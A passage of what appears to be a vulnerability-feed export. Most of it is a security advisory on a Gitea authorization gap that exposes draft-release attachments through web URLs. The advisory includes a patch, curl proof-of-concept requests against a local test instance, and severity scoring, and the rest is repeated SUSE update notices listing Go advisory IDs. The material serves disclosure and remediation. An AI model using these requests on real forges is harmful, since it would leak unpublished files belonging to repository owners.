!ctx.Repo.Permission.CanWrite(unit.TypeReleases) {\n        return false\n    }\n    // ... API-token scope check\n}\n```\n\n`canAccessReleaseDraft` is called from `GetRelease` (line 80), `ListReleases` (line 178), `GetReleaseAttachment` (`release_attachment.go:37`), and `ListReleaseAttachments` (line 148). Every API code path now gates draft visibility on **write access**. The web-side `ServeAttachment` was not updated; it continues to gate only on **read access**, allowing anonymous and non-collaborator reads.\n\n**Suggested patch** at `routers/web/repo/attachment.go:166-172`, extending the existing permission check to also gate draft releases on write access:\n\n```go\n} else { // linked attachment\n    var perm access_model.Permission\n    if ctx.Repo.Repository == nil {\n        repo, err := repo_model.GetRepositoryByID(ctx, repoID)\n        if err != nil { ... }\n        perm, err = access_model.GetDoerRepoPermission(ctx, repo, ctx.Doer)\n        if err != nil { ... }\n    } else {\n        perm = ctx.Repo.Permission\n    }\n\n    if !perm.CanRead(unitType) {\n        ctx.HTTPError(http.StatusNotFound)\n        return\n    }\n\n    // NEW: if linked to a draft release, require write access to releases\n    if unitType == unit.TypeReleases \u0026\u0026 attach.ReleaseID != 0 {\n        rel, err := repo_model.GetReleaseByID(ctx, attach.ReleaseID)\n        if err == nil \u0026\u0026 rel.IsDraft \u0026\u0026 !perm.CanWrite(unit.TypeReleases) {\n            ctx.HTTPError(http.StatusNotFound)\n            return\n        }\n    }\n}\n```\n\nAlternatively, `GetAttachmentLinkedTypeAndRepoID` could return the linked release object so the caller does not need a second DB read.\n\n### PoC\n\nTested against `v1.27.0+dev-228-ga564f0587a` (commit `a564f0587a`), default configuration, local-storage attachments.\n\n**Setup:**\n- `alice` owns public repo `alice/alice-pub`\n- `carol` is a registered user with no relationship to `alice` (no collaboration, no org membership)\n\n**Step 1: alice creates a confidential draft release and uploads a sensitive file:**\n\n```bash\n$ DRAFT=$(curl -s -H \"Authorization: token $ALICE_TOKEN\" -H 'Content-Type: application/json' \\\n    -d '{\"tag_name\":\"v1.0-CONFIDENTIAL\",\"target_commitish\":\"main\",\n         \"name\":\"INTERNAL PREVIEW\",\"body\":\"unreleased build\",\n         \"draft\":true,\"prerelease\":false}' \\\n    http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases)\n$ DID=$(echo \"$DRAFT\" | jq -r .id)         # e.g. 15\n\n$ echo \"TOP_SECRET_BUILD_ARTIFACT\" \u003e confidential.txt\n$ ATT=$(curl -s -H \"Authorization: token $ALICE_TOKEN\" \\\n    -F \"attachment=@confidential.txt;filename=confidential.txt\" \\\n    http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases/$DID/assets)\n$ UUID=$(echo \"$ATT\" | jq -r .uuid)\n$ ATT_ID=$(echo \"$ATT\" | jq -r .id)\n# UUID: a4701819-6f12-42e4-82fb-14b2a1191e8a\n# browser_download_url returned: http://127.0.0.1:3000/attachments/\u003cUUID\u003e\n```\n\n**Step 2: non-collaborator carol cannot see the draft via the API (correct):**\n\n```bash\n$ curl -s -o /dev/null -w '%{http_code}\\n' \\\n    -H \"Authorization: token $CAROL_TOKEN\" \\\n    http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases/$DID/assets/$ATT_ID\n404\n```\n\n**Step 3: but carol (and even anonymous callers) CAN download via UUID-based web endpoints:**\n\n```bash\n# (C) carol, top-level\n$ curl -s -H \"Authorization: token $CAROL_TOKEN\" \\\n    http://127.0.0.1:3000/attachments/$UUID\nTOP_SECRET_BUILD_ARTIFACT          # \u003c-- 200 OK, full content\n\n# (D) carol, repo-scoped legacy\n$ curl -s -H \"Authorization: token $CAROL_TOKEN\" \\\n    http://127.0.0.1:3000/alice/alice-pub/attachments/$UUID\nTOP_SECRET_BUILD_ARTIFACT          # \u003c-- 200 OK\n\n# (E) carol, release-scoped web\n$ curl -s -H \"Authorization: token $CAROL_TOKEN\" \\\n    http://127.0.0.1:3000/alice/alice-pub/releases/attachments/$UUID\nTOP_SECRET_BUILD_ARTIFACT          # \u003c-- 200 OK\n\n# (G) anonymous, top-level (NO auth header)\n$ curl -s http://127.0.0.1:3000/attachments/$UUID\nTOP_SECRET_BUILD_ARTIFACT          # \u003c-- 200 OK, no auth needed at all\n\n# (H) anonymous, repo-scoped legacy\n$ curl -s http://127.0.0.1:3000/alice/alice-pub/attachments/$UUID\nTOP_SECRET_BUILD_ARTIFACT          # \u003c-- 200 OK\n```\n\n**Verdict matrix:**\n\n| Endpoint | Carol (auth, non-collab) | Anonymous |\n|---|---|---|\n| API `/api/v1/.../releases/{id}/assets/{aid}` | 404 (gated) | 404 (gated) |\n| API `/api/v1/.../releases/{id}/assets` | 404 (gated) | 404 (gated) |\n| Web `/attachments/{uuid}` | **200 LEAKS** | **200 LEAKS** |\n| Web `/{owner}/{repo}/attachments/{uuid}` | **200 LEAKS** | **200 LEAKS** |\n| Web `/{owner}/{repo}/releases/attachments/{uuid}` | **200 LEAKS** | **200 LEAKS** |\n| Web `browser_download_url` (as returned by API) | **200 LEAKS** | **200 LEAKS** |\n\n### Impact\n\n**Vulnerability class:** Missing authorization (CWE-862) on a parallel code path that was overlooked when the same authorization check was added in a separate handler. This is an **incomplete fix for CVE-2026-27660**.\n\n**Why this is an exploitable vulnerability, not a \"configure it differently\" issue:**\n\nThe Gitea draft-release feature exists for exactly one purpose: stage release content that is not yet meant to be public. The fix in PR #36659 (CVE-2026-27660) explicitly stated *\"Draft release and its attachments need a write permission to access\"* and accordingly gated `GET /api/v1/repos/.../releases/{id}` and `GET /api/v1/repos/.../releases/{id}/assets/{aid}` behind `canAccessReleaseDraft`. The web-side `ServeAttachment` handler (which is reachable from three separate routes on the same host as the API and serves the same underlying attachment object) was not updated. The result is that the security promise communicated to operators (\"draft attachments are visible only to repo writers\") is silently false on the web URLs that the API itself hands out in `browser_download_url`.\n\nThe maintainer cannot reframe this as \"UUID is a capability token\" because Gitea has already explicitly **rejected** that model on the API surface for this exact resource class two months ago. The threat model is identical; only the handler is different.\n\n**Real-world content that leaks under this bug:**\n\nDraft releases are routinely used to stage:\n\n- **Pre-release signed binaries** (Windows MSIs, macOS notarized DMGs, Linux RPM/DEB) before publication: unauthenticated download of unannounced builds.\n- **Security-fix release candidates**: pre-disclosure window for downstream patching, exploitable if the binary diff reveals the bug.\n- **Internal SBOMs, signing manifests, third-party license bundles**: supply-chain reconnaissance.\n- **Release-key public-blob bundles, attestation files**: key-rotation tracking by external observers.\n- **Build artifacts pinned to draft tags by CI pipelines that publish-on-merge**: access to artifacts the release engineer hasn't decided to ship.\n- **CHANGELOG / release-notes drafts**: pre-disclosure of upcoming features or vulns.\n\nThese are not hypothetical use cases. They are the documented and intended use of the draft-release feature on every git forge.\n\n**Realistic attack scenarios (insider-leak threat model, same as CVE-2026-27660):**\n\n1. **Browser-UI \"Copy link\" causes the URL to leave the trust boundary.** A release engineer is preparing the next release and copies the `browser_download_url` to test the binary on a fresh VM, then pastes it into a Slack thread, a Jira ticket, an email to QA, or a commit message (\"`# binary: $URL`\"). Anyone who later reads that channel (including ex-employees, contractors who lost write access, or anyone scraping public Slack archives) has anonymous, unauthenticated, indefinite access to the draft binary.\n\n2. **Reverse-proxy or observability stack records the URL.** nginx, Caddy, HAProxy, Cloudflare, Datadog, Splunk, ELK: any HTTP-instrumentation pipeline records request paths. Anyone with log read access can extract UUIDs and pull the underlying attachment without authenticating to Gitea at all. For ELT pipelines that copy logs to cloud buckets or data lakes, that read access can be very broad.\n\n3. **Browser history, Referer, extension telemetry.** Once an authorized user downloads a draft attachment, the UUID-bearing URL lives in browser history, optional cloud-synced history (Chrome Sync, Edge Sync, Firefox Sync, recoverable on any signed-in device), browser extension telemetry, and any `Referer` header sent if the URL is loaded in a frame or via an inline asset.\n\n4. **Search-engine and mirror indexing.** Internal portals, asset inventories, dependency scanners, and SaaS supply-chain tools that follow `browser_download_url` to index release artifacts will index the draft URL just like a published one. Once indexed, the URL is discoverable for as long as the index lives.\n\n5. **Embedded links in public content.** A draft-release-attachment URL pasted into an issue comment, a PR description, a wiki page, or a README is rendered as a clickable `\u003ca href\u003e` to any reader of that public page. Readers don't see the draft release itself but get the attachment behind the link they click.\n\n**Severity calibration via direct precedent:**\n\n| Property | CVE-2026-27660 (this finding's API mirror) | This finding |\n|---|---|---|\n| Vulnerability class | Missing authorization on draft release | Missing authorization on draft release attachments |\n| Attack vector | Network | Network |\n| Privileges required | None (relies on UUID/ID being leaked) | None (relies on UUID being leaked) |\n| Attack complexity | High (must obtain UUID/ID) | High (must obtain UUID) |\n| Confidentiality | High | High |\n| Integrity / Availability | None | None |\n| Fix complexity | ~5-line authz check added at handler entry | ~5-line authz check added at handler entry |\n| Severity assigned by upstream | Medium | **Should be Medium (5.9) by direct precedent** |\n\nIf CVE-2026-27660 was accepted as a Medium-severity security advisory worth a dedicated PR, an identical bug in the web mirror of the same data is also Medium-severity. The maintainer cannot consistently rate this lower without retroactively downgrading their own previous fix.\n\n**CVSS 3.1:** `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N` = **5.9 / Medium**\n\n- `AV:N`: reachable over the network.\n- `AC:H`: attacker must obtain the UUID via a leak channel (same prerequisite class as the upstream CVE).\n- `PR:N`: no authentication required (anonymous works).\n- `UI:N`: no user interaction required.\n- `S:U`: scope unchanged (still bounded to Gitea's auth boundary; the draft release was supposed to be inside that boundary but isn't).\n- `C:H`: full confidentiality breach of the attachment contents.\n- `I:N` / `A:N`: read-only.\n\n**Out of scope:** brute-forcing the UUID is infeasible (122 bits of UUIDv4 entropy). This is a confidentiality-loss bug, not an integrity or availability bug.\n\n**Deployment scale:** Gitea is a top-three self-hosted forge (~30 k+ public Internet-reachable instances per Shodan, plus very large numbers of internal corporate deployments and Codeberg / Forgejo derivatives that inherit the same code). The bug is present in the default configuration; no operator action is required to make a deployment vulnerable.\n\n**Fix complexity:** trivial. Add a `release.IsDraft \u0026\u0026 !perm.CanWrite(unit.TypeReleases)` check in `ServeAttachment` (single function, ~5 lines added). Patch is provided in the Details section. No data migration, no UX change, no breaking-API change.","status":"published","published":"2026-07-21T20:19:25Z","modified":"2026-07-27T17:11:30.322497297Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-200","CWE-639","CWE-732","CWE-862"],"updated_at":"2026-11-02T15:46:54.40888Z"},{"id":"GO-2026-6070","title":"Gitea: draft release attachment disclosure via missing web authorization in gitea.dev","description":"Gitea: draft release attachment disclosure via missing web authorization in gitea.dev","status":"published","published":"2026-07-27T15:32:45Z","modified":"2026-07-27T17:00:24.706279341Z","updated_at":"2026-11-02T15:47:02.838915Z"},{"id":"openSUSE-SU-2026:21551-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260727T201416 2026-07-27T20:14:16Z (jsc#PED-11136):\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-5046 CVE-2026-46385 GHSA-w8j3-pq8g-8m7w\n * GO-2026-5047 CVE-2026-46384 GHSA-mc57-h6j3-3hmv\n * GO-2026-5048 GHSA-mx64-mj3q-7prj\n * GO-2026-5051\n * GO-2026-5069 CVE-2026-30246 GHSA-35hp-hqmv-8qg8\n * GO-2026-5074 CVE-2026-45022 GHSA-389r-gv7p-r3rp\n * GO-2026-5105 CVE-2026-41506 GHSA-3xc5-wrhm-f963\n * GO-2026-5116 CVE-2026-44517 GHSA-49p4-px3h-rq49\n * GO-2026-5158 CVE-2026-41178 GHSA-5wrp-cwcj-q835\n * GO-2026-5198 CVE-2026-41642 GHSA-7235-89m6-f4px\n * GO-2026-5208 CVE-2026-40890 GHSA-77fj-vx54-gvh7\n * GO-2026-5266 CVE-2026-41643 GHSA-8rxh-r2p6-7f2q\n * GO-2026-5309 GHSA-c3wq-j5vh-68rc\n * GO-2026-5327 CVE-2026-2303 GHSA-cp6g-7hqx-qxhp\n * GO-2026-5336 CVE-2026-45571 GHSA-crhj-59gh-8x96\n * GO-2026-5346 CVE-2026-52845 GHSA-f59h-q822-g45g\n * GO-2026-5408 GHSA-gx7w-56w6-g48x\n * GO-2026-5426 CVE-2026-39883 GHSA-hfvc-g4fc-pqhx\n * GO-2026-5435 CVE-2026-35206 GHSA-hr2v-4r36-88hr\n * GO-2026-5452 CVE-2026-34783 GHSA-j6v5-g24h-vg4j\n * GO-2026-5463 CVE-2026-8276 GHSA-jcqv-2g3v-gm88\n * GO-2026-5471 CVE-2026-6993 GHSA-jj45-xvq5-rhh9\n * GO-2026-5490 CVE-2026-44740 GHSA-m3xc-h892-ggx6\n * GO-2026-5492 CVE-2026-45135 GHSA-m675-2p33-xv9g\n * GO-2026-5506 CVE-2026-29181 GHSA-mh2q-q3fh-2475\n * GO-2026-5525 CVE-2026-42285 GHSA-p3w2-64xm-833j\n * GO-2026-5543 CVE-2026-32952 GHSA-pjcq-xvwq-hhpj\n * GO-2026-5548 CVE-2026-44166 GHSA-pq7p-mc74-g65w\n * GO-2026-5566 CVE-2026-35205 GHSA-q5jf-9vfq-h4h7\n * GO-2026-5569 GHSA-q76j-gcg9-vxc6\n * GO-2026-5585 CVE-2026-42554 GHSA-qjv7-627w-8qjv\n * GO-2026-5593 CVE-2026-40611 GHSA-qqx8-2xmm-jrv8\n * GO-2026-5595 CVE-2026-52844 GHSA-qrp7-cvwr-j2c6\n * GO-2026-5597 CVE-2026-44973 GHSA-qw64-3x98-g7q2\n * GO-2026-5606 GHSA-r46f-3rpw-hxrv\n * GO-2026-5617 CVE-2026-42306 GHSA-rg2x-37c3-w2rh\n * GO-2026-5660 CVE-2026-52846 GHSA-vcc4-2c75-vc9v\n * GO-2026-5666 CVE-2026-35204 GHSA-vmx8-mqv2-9gmg\n * GO-2026-5684 CVE-2026-42328 GHSA-w239-58x2-q8p5\n * GO-2026-5693 GHSA-w5pp-99ch-qj29\n * GO-2026-5730 GHSA-wwhq-w58m-w29c\n * GO-2026-5736 CVE-2026-44283 GHSA-x35m-3gp4-4fh5\n * GO-2026-5740 CVE-2026-44301 GHSA-x597-9fr4-5857\n * GO-2026-5748 CVE-2026-7482 GHSA-x8qc-fggm-mpqg\n * GO-2026-5750 CVE-2026-7020 GHSA-x99g-8v8j-25j2\n * GO-2026-5774 GHSA-3fxj-6jh8-hvhx\n * GO-2026-5775 GHSA-9g5q-2w5x-hmxf\n * GO-2026-5777 GHSA-rjr7-jggh-pgcp\n * GO-2026-5781\n * GO-2026-5841 GHSA-259r-337f-4rfw\n * GO-2026-5879 CVE-2026-50162 GHSA-8xwf-rjm4-xvhv\n * GO-2026-5880 CVE-2026-50163 GHSA-fxhp-mv3v-67qp\n * GO-2026-5882 CVE-2026-50151 GHSA-jxpm-75mh-9fp7\n * GO-2026-5884 GHSA-vh4v-2xq2-g5cg\n * GO-2026-5885 CVE-2026-48978 GHSA-xf85-363p-868w\n * GO-2026-5886 CVE-2026-44332 GHSA-g5vh-55hw-rxm8\n * GO-2026-5887 CVE-2026-45045 GHSA-gcfq-8gqf-4876\n * GO-2026-5912 CVE-2026-53624 GHSA-gv83-gqw6-9j2c\n * GO-2026-5954 CVE-2026-49838 GHSA-frrj-87jh-2772\n * GO-2026-5955 CVE-2026-49837 GHSA-gjrg-jjr3-56cm\n * GO-2026-5960 CVE-2026-54063 GHSA-h69g-9hx6-f3v4\n * GO-2026-5971 CVE-2026-37462 GHSA-pw7p-7fqv-hpj8\n * GO-2026-5983 CVE-2026-54448 GHSA-q3fv-x8vg-qqm4\n * GO-2026-6000 CVE-2026-50274 GHSA-74j5-xf3v-crq8\n * GO-2026-6058 CVE-2026-58442 GHSA-h2x6-g7q6-344v\n * GO-2026-6059 CVE-2026-58431 GHSA-h56g-4qw7-2mxg\n * GO-2026-6060 CVE-2026-58426 GHSA-hg5r-vq93-9fv6\n * GO-2026-6061 GHSA-hrxh-6v49-42gf\n * GO-2026-6062 CVE-2026-58434 GHSA-j2w3-9c3r-g83q\n * GO-2026-6063 CVE-2026-58417 GHSA-jr5x-6h83-wrxf\n * GO-2026-6064 CVE-2026-55984 GHSA-m932-crvm-gcp5\n * GO-2026-6065 CVE-2026-55982 GHSA-mg4f-x9v4-6h2p\n * GO-2026-6066 CVE-2026-58507 GHSA-p4mj-98mv-xq26\n * GO-2026-6067 CVE-2026-58445 GHSA-pgqf-926r-548m\n * GO-2026-6068 CVE-2026-58427 GHSA-prr9-9mp4-5gp2\n * GO-2026-6069 CVE-2026-58510 GHSA-q423-49rw-g9mh\n * GO-2026-6070 CVE-2026-58432 GHSA-q9pg-jj6x-j9p6\n * GO-2026-6071 CVE-2026-59766 GHSA-qf2f-qh6p-7v89\n * GO-2026-6072 CVE-2026-56750 GHSA-rgv6-xp99-6mgj\n * GO-2026-6073 CVE-2026-58435 GHSA-rh79-75qm-gwjr\n * GO-2026-6074 GHSA-rjvx-x5h2-6px5\n * GO-2026-6075 CVE-2026-58418 GHSA-rqhx-647v-wx32\n * GO-2026-6076 CVE-2026-25038 GHSA-v73x-hx65-6pf4\n * GO-2026-6077 CVE-2026-58421 GHSA-v96j-25gv-g2w9\n * GO-2026-6078 CVE-2026-55987 GHSA-vrhc-jjfc-m3m3\n * GO-2026-6079 CVE-2026-58425 GHSA-vxv2-8j6r-pcpg\n * GO-2026-6080 CVE-2026-58439 GHSA-w5pg-649r-p6gg\n * GO-2026-6081 CVE-2026-24451 GHSA-wrf9-r3h7-7x5v\n * GO-2026-6082 CVE-2026-42931 GHSA-wwqq-x6w4-frm2\n * GO-2026-6083 CVE-2026-23603 GHSA-x77v-q46j-393g\n * GO-2026-6084 CVE-2026-58441 GHSA-xmj7-xj85-hfc3\n * GO-2026-6085 CVE-2026-58438 GHSA-xv9x-fj9g-vj6h\n * GO-2026-6086 CVE-2026-58443 GHSA-xxjv-752h-3vp2\n","status":"published","published":"2026-08-10T17:38:07Z","modified":"2026-08-12T18:23:41.809969353Z","updated_at":"2026-11-02T16:58:41.885092Z"},{"id":"SUSE-SU-2026:23216-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260727T201416 2026-07-27T20:14:16Z (jsc#PED-11136):\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-5046 CVE-2026-46385 GHSA-w8j3-pq8g-8m7w\n * GO-2026-5047 CVE-2026-46384 GHSA-mc57-h6j3-3hmv\n * GO-2026-5048 GHSA-mx64-mj3q-7prj\n * GO-2026-5051\n * GO-2026-5069 CVE-2026-30246 GHSA-35hp-hqmv-8qg8\n * GO-2026-5074 CVE-2026-45022 GHSA-389r-gv7p-r3rp\n * GO-2026-5105 CVE-2026-41506 GHSA-3xc5-wrhm-f963\n * GO-2026-5116 CVE-2026-44517 GHSA-49p4-px3h-rq49\n * GO-2026-5158 CVE-2026-41178 GHSA-5wrp-cwcj-q835\n * GO-2026-5198 CVE-2026-41642 GHSA-7235-89m6-f4px\n * GO-2026-5208 CVE-2026-40890 GHSA-77fj-vx54-gvh7\n * GO-2026-5266 CVE-2026-41643 GHSA-8rxh-r2p6-7f2q\n * GO-2026-5309 GHSA-c3wq-j5vh-68rc\n * GO-2026-5327 CVE-2026-2303 GHSA-cp6g-7hqx-qxhp\n * GO-2026-5336 CVE-2026-45571 GHSA-crhj-59gh-8x96\n * GO-2026-5346 CVE-2026-52845 GHSA-f59h-q822-g45g\n * GO-2026-5408 GHSA-gx7w-56w6-g48x\n * GO-2026-5426 CVE-2026-39883 GHSA-hfvc-g4fc-pqhx\n * GO-2026-5435 CVE-2026-35206 GHSA-hr2v-4r36-88hr\n * GO-2026-5452 CVE-2026-34783 GHSA-j6v5-g24h-vg4j\n * GO-2026-5463 CVE-2026-8276 GHSA-jcqv-2g3v-gm88\n * GO-2026-5471 CVE-2026-6993 GHSA-jj45-xvq5-rhh9\n * GO-2026-5490 CVE-2026-44740 GHSA-m3xc-h892-ggx6\n * GO-2026-5492 CVE-2026-45135 GHSA-m675-2p33-xv9g\n * GO-2026-5506 CVE-2026-29181 GHSA-mh2q-q3fh-2475\n * GO-2026-5525 CVE-2026-42285 GHSA-p3w2-64xm-833j\n * GO-2026-5543 CVE-2026-32952 GHSA-pjcq-xvwq-hhpj\n * GO-2026-5548 CVE-2026-44166 GHSA-pq7p-mc74-g65w\n * GO-2026-5566 CVE-2026-35205 GHSA-q5jf-9vfq-h4h7\n * GO-2026-5569 GHSA-q76j-gcg9-vxc6\n * GO-2026-5585 CVE-2026-42554 GHSA-qjv7-627w-8qjv\n * GO-2026-5593 CVE-2026-40611 GHSA-qqx8-2xmm-jrv8\n * GO-2026-5595 CVE-2026-52844 GHSA-qrp7-cvwr-j2c6\n * GO-2026-5597 CVE-2026-44973 GHSA-qw64-3x98-g7q2\n * GO-2026-5606 GHSA-r46f-3rpw-hxrv\n * GO-2026-5617 CVE-2026-42306 GHSA-rg2x-37c3-w2rh\n * GO-2026-5660 CVE-2026-52846 GHSA-vcc4-2c75-vc9v\n * GO-2026-5666 CVE-2026-35204 GHSA-vmx8-mqv2-9gmg\n * GO-2026-5684 CVE-2026-42328 GHSA-w239-58x2-q8p5\n * GO-2026-5693 GHSA-w5pp-99ch-qj29\n * GO-2026-5730 GHSA-wwhq-w58m-w29c\n * GO-2026-5736 CVE-2026-44283 GHSA-x35m-3gp4-4fh5\n * GO-2026-5740 CVE-2026-44301 GHSA-x597-9fr4-5857\n * GO-2026-5748 CVE-2026-7482 GHSA-x8qc-fggm-mpqg\n * GO-2026-5750 CVE-2026-7020 GHSA-x99g-8v8j-25j2\n * GO-2026-5774 GHSA-3fxj-6jh8-hvhx\n * GO-2026-5775 GHSA-9g5q-2w5x-hmxf\n * GO-2026-5777 GHSA-rjr7-jggh-pgcp\n * GO-2026-5781\n * GO-2026-5841 GHSA-259r-337f-4rfw\n * GO-2026-5879 CVE-2026-50162 GHSA-8xwf-rjm4-xvhv\n * GO-2026-5880 CVE-2026-50163 GHSA-fxhp-mv3v-67qp\n * GO-2026-5882 CVE-2026-50151 GHSA-jxpm-75mh-9fp7\n * GO-2026-5884 GHSA-vh4v-2xq2-g5cg\n * GO-2026-5885 CVE-2026-48978 GHSA-xf85-363p-868w\n * GO-2026-5886 CVE-2026-44332 GHSA-g5vh-55hw-rxm8\n * GO-2026-5887 CVE-2026-45045 GHSA-gcfq-8gqf-4876\n * GO-2026-5912 CVE-2026-53624 GHSA-gv83-gqw6-9j2c\n * GO-2026-5954 CVE-2026-49838 GHSA-frrj-87jh-2772\n * GO-2026-5955 CVE-2026-49837 GHSA-gjrg-jjr3-56cm\n * GO-2026-5960 CVE-2026-54063 GHSA-h69g-9hx6-f3v4\n * GO-2026-5971 CVE-2026-37462 GHSA-pw7p-7fqv-hpj8\n * GO-2026-5983 CVE-2026-54448 GHSA-q3fv-x8vg-qqm4\n * GO-2026-6000 CVE-2026-50274 GHSA-74j5-xf3v-crq8\n * GO-2026-6058 CVE-2026-58442 GHSA-h2x6-g7q6-344v\n * GO-2026-6059 CVE-2026-58431 GHSA-h56g-4qw7-2mxg\n * GO-2026-6060 CVE-2026-58426 GHSA-hg5r-vq93-9fv6\n * GO-2026-6061 GHSA-hrxh-6v49-42gf\n * GO-2026-6062 CVE-2026-58434 GHSA-j2w3-9c3r-g83q\n * GO-2026-6063 CVE-2026-58417 GHSA-jr5x-6h83-wrxf\n * GO-2026-6064 CVE-2026-55984 GHSA-m932-crvm-gcp5\n * GO-2026-6065 CVE-2026-55982 GHSA-mg4f-x9v4-6h2p\n * GO-2026-6066 CVE-2026-58507 GHSA-p4mj-98mv-xq26\n * GO-2026-6067 CVE-2026-58445 GHSA-pgqf-926r-548m\n * GO-2026-6068 CVE-2026-58427 GHSA-prr9-9mp4-5gp2\n * GO-2026-6069 CVE-2026-58510 GHSA-q423-49rw-g9mh\n * GO-2026-6070 CVE-2026-58432 GHSA-q9pg-jj6x-j9p6\n * GO-2026-6071 CVE-2026-59766 GHSA-qf2f-qh6p-7v89\n * GO-2026-6072 CVE-2026-56750 GHSA-rgv6-xp99-6mgj\n * GO-2026-6073 CVE-2026-58435 GHSA-rh79-75qm-gwjr\n * GO-2026-6074 GHSA-rjvx-x5h2-6px5\n * GO-2026-6075 CVE-2026-58418 GHSA-rqhx-647v-wx32\n * GO-2026-6076 CVE-2026-25038 GHSA-v73x-hx65-6pf4\n * GO-2026-6077 CVE-2026-58421 GHSA-v96j-25gv-g2w9\n * GO-2026-6078 CVE-2026-55987 GHSA-vrhc-jjfc-m3m3\n * GO-2026-6079 CVE-2026-58425 GHSA-vxv2-8j6r-pcpg\n * GO-2026-6080 CVE-2026-58439 GHSA-w5pg-649r-p6gg\n * GO-2026-6081 CVE-2026-24451 GHSA-wrf9-r3h7-7x5v\n * GO-2026-6082 CVE-2026-42931 GHSA-wwqq-x6w4-frm2\n * GO-2026-6083 CVE-2026-23603 GHSA-x77v-q46j-393g\n * GO-2026-6084 CVE-2026-58441 GHSA-xmj7-xj85-hfc3\n * GO-2026-6085 CVE-2026-58438 GHSA-xv9x-fj9g-vj6h\n * GO-2026-6086 CVE-2026-58443 GHSA-xxjv-752h-3vp2\n","status":"published","published":"2026-08-10T17:34:15Z","modified":"2026-08-27T18:23:09.233788558Z","updated_at":"2026-11-02T15:54:03.503431Z"},{"id":"SUSE-SU-2026:23227-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260727T201416 2026-07-27T20:14:16Z (jsc#PED-11136):\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-5046 CVE-2026-46385 GHSA-w8j3-pq8g-8m7w\n * GO-2026-5047 CVE-2026-46384 GHSA-mc57-h6j3-3hmv\n * GO-2026-5048 GHSA-mx64-mj3q-7prj\n * GO-2026-5051\n * GO-2026-5069 CVE-2026-30246 GHSA-35hp-hqmv-8qg8\n * GO-2026-5074 CVE-2026-45022 GHSA-389r-gv7p-r3rp\n * GO-2026-5105 CVE-2026-41506 GHSA-3xc5-wrhm-f963\n * GO-2026-5116 CVE-2026-44517 GHSA-49p4-px3h-rq49\n * GO-2026-5158 CVE-2026-41178 GHSA-5wrp-cwcj-q835\n * GO-2026-5198 CVE-2026-41642 GHSA-7235-89m6-f4px\n * GO-2026-5208 CVE-2026-40890 GHSA-77fj-vx54-gvh7\n * GO-2026-5266 CVE-2026-41643 GHSA-8rxh-r2p6-7f2q\n * GO-2026-5309 GHSA-c3wq-j5vh-68rc\n * GO-2026-5327 CVE-2026-2303 GHSA-cp6g-7hqx-qxhp\n * GO-2026-5336 CVE-2026-45571 GHSA-crhj-59gh-8x96\n * GO-2026-5346 CVE-2026-52845 GHSA-f59h-q822-g45g\n * GO-2026-5408 GHSA-gx7w-56w6-g48x\n * GO-2026-5426 CVE-2026-39883 GHSA-hfvc-g4fc-pqhx\n * GO-2026-5435 CVE-2026-35206 GHSA-hr2v-4r36-88hr\n * GO-2026-5452 CVE-2026-34783 GHSA-j6v5-g24h-vg4j\n * GO-2026-5463 CVE-2026-8276 GHSA-jcqv-2g3v-gm88\n * GO-2026-5471 CVE-2026-6993 GHSA-jj45-xvq5-rhh9\n * GO-2026-5490 CVE-2026-44740 GHSA-m3xc-h892-ggx6\n * GO-2026-5492 CVE-2026-45135 GHSA-m675-2p33-xv9g\n * GO-2026-5506 CVE-2026-29181 GHSA-mh2q-q3fh-2475\n * GO-2026-5525 CVE-2026-42285 GHSA-p3w2-64xm-833j\n * GO-2026-5543 CVE-2026-32952 GHSA-pjcq-xvwq-hhpj\n * GO-2026-5548 CVE-2026-44166 GHSA-pq7p-mc74-g65w\n * GO-2026-5566 CVE-2026-35205 GHSA-q5jf-9vfq-h4h7\n * GO-2026-5569 GHSA-q76j-gcg9-vxc6\n * GO-2026-5585 CVE-2026-42554 GHSA-qjv7-627w-8qjv\n * GO-2026-5593 CVE-2026-40611 GHSA-qqx8-2xmm-jrv8\n * GO-2026-5595 CVE-2026-52844 GHSA-qrp7-cvwr-j2c6\n * GO-2026-5597 CVE-2026-44973 GHSA-qw64-3x98-g7q2\n * GO-2026-5606 GHSA-r46f-3rpw-hxrv\n * GO-2026-5617 CVE-2026-42306 GHSA-rg2x-37c3-w2rh\n * GO-2026-5660 CVE-2026-52846 GHSA-vcc4-2c75-vc9v\n * GO-2026-5666 CVE-2026-35204 GHSA-vmx8-mqv2-9gmg\n * GO-2026-5684 CVE-2026-42328 GHSA-w239-58x2-q8p5\n * GO-2026-5693 GHSA-w5pp-99ch-qj29\n * GO-2026-5730 GHSA-wwhq-w58m-w29c\n * GO-2026-5736 CVE-2026-44283 GHSA-x35m-3gp4-4fh5\n * GO-2026-5740 CVE-2026-44301 GHSA-x597-9fr4-5857\n * GO-2026-5748 CVE-2026-7482 GHSA-x8qc-fggm-mpqg\n * GO-2026-5750 CVE-2026-7020 GHSA-x99g-8v8j-25j2\n * GO-2026-5774 GHSA-3fxj-6jh8-hvhx\n * GO-2026-5775 GHSA-9g5q-2w5x-hmxf\n * GO-2026-5777 GHSA-rjr7-jggh-pgcp\n * GO-2026-5781\n * GO-2026-5841 GHSA-259r-337f-4rfw\n * GO-2026-5879 CVE-2026-50162 GHSA-8xwf-rjm4-xvhv\n * GO-2026-5880 CVE-2026-50163 GHSA-fxhp-mv3v-67qp\n * GO-2026-5882 CVE-2026-50151 GHSA-jxpm-75mh-9fp7\n * GO-2026-5884 GHSA-vh4v-2xq2-g5cg\n * GO-2026-5885 CVE-2026-48978 GHSA-xf85-363p-868w\n * GO-2026-5886 CVE-2026-44332 GHSA-g5vh-55hw-rxm8\n * GO-2026-5887 CVE-2026-45045 GHSA-gcfq-8gqf-4876\n * GO-2026-5912 CVE-2026-53624 